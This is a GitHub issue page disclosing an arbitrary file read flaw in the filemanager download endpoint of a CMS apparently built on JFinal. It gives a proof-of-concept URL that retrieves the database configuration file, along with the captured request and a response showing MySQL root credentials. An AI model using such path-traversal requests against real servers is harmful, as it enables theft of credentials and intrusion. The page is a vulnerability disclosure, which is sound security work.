New issue

Jump to bottom

File reading #27

Open e0mlja opened this issue on Sep 2, 2021 · 2 comments

e0mlja commented on Sep 2, 2021

You can read any file in the web directory, including the database configuration file And all files in the root directory

poc:http://ip/admin/filemanager?mode=download&path=/web-inf/classes/conf/db.properties&config=filemanager.config.js

```
Host: 10.70.40.114
User-Agent: Mozilla/5.0 (Windows ... x64; rv:91.0)
Gecko/20100101 Firefox/91.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.70.40.114:8080/jfinal_cms_war/admin/filemanager/list
Cookie: JSESSIONID=F950ACA7587B31725242608B0C58BFE; UM_distinctid=
17ba4442e1e9-05b6b05ece1e54-4c3e247b-144000-17ba4442e1f18f;
CNZZDATA1255091723=260441767-1630510614-%7C1630510691;
Hm_lvt_1040d081eea13b44d84a4af639640d51=1630548538;
Hm_lpvt_1040d081eea13b44d84a4af639640d51=1630548538; session_user=
wgPmpe3hRuJWIL+I+kHtxqag1wutWsMhm6eaAgoJH0c=
Upgrade-Insecure-Requests: 1
```

```
1  HTTP/1.1 200
2  Content-Disposition: attachment; filename="db.properties"
3  Content-Transfer-Encoding: Binary
4  Content-Type: application/octet-stream;charset=UTF-8
5  Content-Length: 306
6  Date: Thu, 02 Sep 2021 08:35:52 GMT
7  Connection: close
8
9  #\u6570\u636e\u5e93:oracle postgre
10 db_type=mysql
11
12 mysql.jdbcUrl
   =jdbc:mysql://127.0.0.1:3306/jfinal?characterEncoding=UTF-8&zeroDateTimeBeh
   avior=convertToNull&allowPublicKeyRetrieval=true&serverTimezone=UTC&useSSL=
   false
13 mysql.user = root
14 mysql.password = root
15 mysql.driverClass = com.mysql.cj.jdbc.Driver
16
17
```

luchua-bc mentioned this issue on Jan 23

Java: CWE-073 File path injection with the JFinal framework github/codeql#7712

Merged

cowboyarthur commented on Jul 11

包含不出来，{"Error":"The file /WEB-INF/classes/conf/db.properties does not exist.","Properties":{},"Code":"-1"}

ElevenKong commented on Jul 11

您好，您的来信我已收到！谢谢！
Best Wishes!
——孔祥亮

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

3 participants